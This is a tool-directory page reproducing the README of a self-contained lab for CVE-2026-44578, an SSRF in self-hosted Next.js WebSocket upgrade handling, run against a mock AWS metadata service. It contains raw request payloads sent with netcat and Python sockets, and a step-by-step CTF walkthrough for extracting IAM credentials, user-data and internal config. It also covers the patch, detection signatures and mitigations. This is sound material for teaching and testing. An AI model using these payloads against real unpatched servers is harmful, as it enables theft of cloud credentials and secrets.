Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストクラウドセキュリティラボと実践
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

このラボは良いかもしれないし悪いかもしれないが、テスト中だ。でも動作するはずだ。AIに聞いてみて hahah

リポジトリを見る
11時間46分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF(ラボ)

CVE-2026-44578(CWE-918、SSRF)の脆弱性を、統合Node.jsサーバーを使用するNext.js self-hostedアプリケーションで再現するための自己完結型ラボです。

フィールド値
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
タイプSSRF(CWE-918)
影響を受けるバージョンNext.js 13.4.13 – 15.5.15 および 16.0.0 – 16.2.4
パッチ適用済みバージョン15.5.16 および 16.2.5
認証不要
ユーザー操作不要

ラボのトポロジー

root@kitploit:~
攻撃者 (host: 0.0.0.0)
    │  HTTP :3000 (公開)
    ▼
┌──────────────────────────┐  同じネットワーク名前空間  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (認証情報,          │
│ (統合Node.jsサーバー)    │                           │  user-data, インデックス) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln(ポート 3000): 脆弱なアプリ。0.0.0.0:3000 に公開。
  • imds-sidecar: Next.jsコンテナの名前空間内の localhost:80 に存在するAWSメタデータサービスのモック。実際のクラウドインスタンスをモデル化しています。ホストから直接到達することはできません(公開ポートなし)。
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 自動化PoC(5プローブ)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + シークレットルート
                        └── nextjs-app/             # 現実的なアプリ "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # ランディング
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (脆弱)

なぜ脆弱なのか

router-server.ts のWebSocketアップグレードハンドラーは、パースされたURIに parsedUrl.protocol がある場合に proxyRequest() を呼び出しますが、通常のHTTPハンドラーが常に発行する finished および statusCode フラグをチェックしません:

root@kitploit:~
  // 脆弱 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // パッチ (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

攻撃経路は二重スラッシュの絶対URIを持つリクエストラインを使用します: GET http:///path。normalizeRepeatedSlashes は http:/// を http:/ に縮小し、ホスト名がなくなります。その後、http-proxy はパスをそのままにして localhost:80 に接続します:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket ヘッダーの存在により、リクエストはセキュリティチェックのあるHTTPハンドラーではなく、脆弱なアップグレードハンドラーに送られます。

ラボの起動

root@kitploit:~
docker compose up -d --build

アプリが応答することを確認します:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

0.0.0.0 で動作させるために、docker-compose.yml のポートマッピングはすでに 3000:3000 をすべてのインターフェースで公開しています。

手動による悪用

1. netcat(nc)を使用

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 純粋なPythonを使用(stdlib、依存関係なし)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 自動化PoCを使用

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — 最終フラグの手動キャプチャ

4つのフェーズからなる完全手動のフルフロー。内部サービス(localhost:80)には4つのフラグが隠されています。このガイドでは最初のフラグまでのフローを示し、残りを見つけるためのルートを提供します。

フェーズ 1 — 偵察

root@kitploit:~
# サーバーのフィンガープリント
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# ソケット経由のオープンポート(nmapなし)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

攻撃者から 127.0.0.1:80 への直接アクセスはありません。唯一のベクトルは、内部サービスと同じネットワークに存在するNext.jsサーバーに、代わりにリクエストさせることです。

フェーズ 2 — SSRF経由のメタデータサービスの列挙

まず、メタデータサービスのインデックスを問い合わせてSSRFを確認します:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

インデックスの応答 → 候補: instance-id、hostname、iam/security-credentials/、user-data(最初のフラグ)。latest/meta-data/ のインデックスは、さらに探索する価値のあるサブキーも明らかにします。

フェーズ 3 — ペイロードの構築(バイト単位)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
部分機能
GETこの脆弱性はGETのみをプロキシします
http:///latest/user-data絶対URI。http:/// は http:/ に縮小 → ホスト名がnull → プロキシはパス /latest/user-data を保持したまま localhost:80 に接続
Host: 127.0.0.1:3000これがないとサーバーは400を返します
Connection: Upgrade + Upgrade: websocketリクエストを脆弱なアップグレードハンドラーに転送します(通常のHTTPハンドラーは検証します)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==正当なハンドシェイクに必要な最小ヘッダー

終端: 生ソケットで \r\n\r\n(ボディなし)。

フェーズ 4 — 手動発火とフラグのキャプチャ

root@kitploit:~
# オプションA: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# オプションB: Pythonの生ソケット(ncなし、同じ精度)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

出力 — 最初のフラグは内部サービスの応答ボディに含まれます:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

フラグ 1/4 獲得。 server: BaseHTTP/0.6 ...(Pythonモック)ヘッダーは、リクエストが 攻撃者 → Next.js → localhost:80 と移動したことを確認します。つまり、フラグはSSRFによって内部ネットワークから流出したのです。残りの3つはメタデータサービスと内部サービスのルートに散在しています — latest/meta-data/ のインデックスがあなたの地図です。残りを見つけてください。

ラボで公開されているエンドポイント

フェイクIMDS(localhost:80)は実際のAWSメタデータサービスをモデル化しています:ナビゲート可能なツリーです。各ディレクトリ(/ で終わる)はサブルートのインデックスで応答します。/ なしでディレクトリを要求すると 301 リダイレクトが返されます。隠しルートはありません。推測を必要とするフラグはありません — すべてはインデックスのナビゲーションで発見されます。

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → ブートスクリプト(internal/configを指す)
ルートコンテンツ
latest/meta-data/メタデータのインデックス(上記参照)
latest/meta-data/iam/security-credentials/ロール lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleAccessKeyId、SecretAccessKey、Token を含むJSON
latest/user-dataDB認証情報を含むブートスクリプト
latest/dynamic/instance-identity/documentインスタンスIDのJSON
internal/config内部サービスの設定(DB、APIキー)— user-dataから参照

CTFチャレンジ: 4つのフラグがあり、それぞれがAWSに対するSSRF悪用チェーンの実際の成果物です:(1) ブートのuser-data、(2) IAM認証情報、(3) identity document、(4) 内部サービスの設定。それらの値は公開されていません。インデックス(/ → latest/ → …)をナビゲートすると、バナーからバナーへと進みます。user-dataスクリプトが4つ目の場所を示しています。ルートを推測する必要はありません。404は存在しないパスを発明していることを示すだけです。

解決ガイド(段階的なネタバレ)

フラグからフラグへの完全なチェーンは専用ドキュメントにあります: SOLUCION.md(各フラグが次のフラグのヒントを与えます。このREADMEの外にあります)。

ルール: 各フラグにはヒント、障害、そして解決策があります。まずヒントで試してください。行き詰まったら障害を使用してください。隠しルートはありません。誰も偽装していません。すべてナビゲート可能です。

始める前の2つの注意事項:

  1. ヘルパー ssrf() はすでに準備されています SOLUCION.md → 準備:コピーしてガイドの残りに使用してください。Connection: Upgrade + Upgrade: websocket を持つ GET http:///<path> リクエストを送信します。
  2. フラグはbase64で暗号化されて送信されます。 応答には RkxBR3… ブロブ(FLAG{…} のbase64)が表示されます。復号してください: echo <blob> | base64 -d。

フラグ 1 — user-data(最も簡単)

  • ヒント: /latest/user-data へのGETは何を返しますか?これはAWSの攻撃者が最初にチェックするものです。
  • 障害 1(301インデックス): フォルダは末尾に / を付けてリストされます。ssrf latest/meta-data は 301 Moved Permanently と Location: latest/meta-data/ を返します。= 「フォローしてください」。ncでは自動フォローはありません。スラッシュ付きでリクエストを繰り返してください。
  • 解決策:
root@kitploit:~
ssrf latest/user-data

ボディ内: DB_PASS=… を含むブートスクリプト(フラグ 1 はその中にあります)、およびフラグ 4 の地図である curl -s http://internal/config 行。

フラグ 2 — IAM認証情報

  • ヒント: latest/meta-data/iam/security-credentials/ をナビゲートし、表示されるロールを要求してください。
  • 障害 2(Token はプレースホルダーではない): 200 は長いJSONを返します。AccessKeyId/SecretAccessKey が目に飛び込みます。フラグ 2 はそこにはありません: Token フィールドは単一のbase64文字列です。それを復号してください。
  • 解決策:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

フラグ 3 — identity document

  • ヒント: latest/meta-data/ だけが唯一のツリーではありません。ルートインデックスを見てください。ほとんど誰も開かない dynamic/ があります。
  • 障害(連鎖リダイレクト): dynamic/ → instance-identity/ → document。3つのステップがあります。各ステップで ssrf は / で終わる必要があります(document を除く)。301の後に再リクエストしないため迷子になる人がいます。
  • 解決策:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

IDのJSONには、フラグ 3 を含むキー FLAG(base64)が含まれています。コマンドシリーズが2番目のステップで 301 を返した場合、障害 1 の教訓を思い出してください。

フラグ 4 — 内部サービスの設定

  • ヒント: フラグ 1(user-data)がアドレスを自白しました:curl -s http://internal/config。
  • 障害(「internal」とは何か): 攻撃者から internal は解決されません。「internal」はサーバー側のエイリアスであり、あなたのものではありません。ホストは変更しません。SSRFは常に localhost:80 に着地します。パスのみを選択します。
  • 解決策:
root@kitploit:~
ssrf internal/config

4つの検証(base64ブロブ → デコード):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4フラグ獲得。いずれかが FLAG{...} を返さない場合、user-dataのcurl(フラグ 4 の障害)またはインデックスの /(フラグ 1 の障害)を確認してください。

手動使用例、IAM認証情報:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

期待される結果 — 応答は server: BaseHTTP/0.6 Python/3.12.x(モック)とともに届きます。Next.jsのバナーではなく、リクエストがサーバーによって localhost:80 に対して行われたことを証明します:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

PoCの結果

PoCはSSRFを検証しますが、フラグを検閲します: FLAG{...} のbase64ブロブと平文の FLAG{...} は検閲されたテキストとして表示されます。値は手動探索(上記のCTFセクション)でのみ取得できます。

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: explotacion manual) ***

脆弱性の制限

  • GETのみ(POST/PUT不可)。
  • ポート80のみ(http:/// の正規化でホスト名が失われます)。
  • IMDSv2 は悪用不可(トークンにPUTが必要)。
  • GCPメタデータ は悪用不可(Upgrade: websocket を400で拒否)。
  • Vercel-hosted は影響なし。
  • リバースプロキシ(nginx/Caddy/HAProxy)の背後では、絶対URIは通常ブロックされます。

「パッチ適用済み」の検証

パッチ(Next.js ≥ 15.5.16)が攻撃をブロックすることを確認するには、nextjs-app/package.json のバージョンを 15.5.16 に変更し、再構築して同じペイロードを再実行します。接続はデータを返さずに閉じられます。

検出

Next.jsプロセスのログのシグネチャ:

  • Failed to proxy http:/ — プロキシは発火しましたが、宛先に到達できませんでした。
  • リクエストラインに http: を含む絶対URIがあり、Connection: Upgrade / Upgrade: websocket ヘッダーがあるリクエスト。

緩和策

  • 15.5.16 / 16.2.5 以降にアップデート。
  • アップデートできない場合:リバースプロキシでWebSocketアップグレードをブロックし、AWSでIMDSv2(HttpTokens=required)を適用。
  • 絶対URIを拒否するnginxの例:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

参照

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
ツールをダウンロード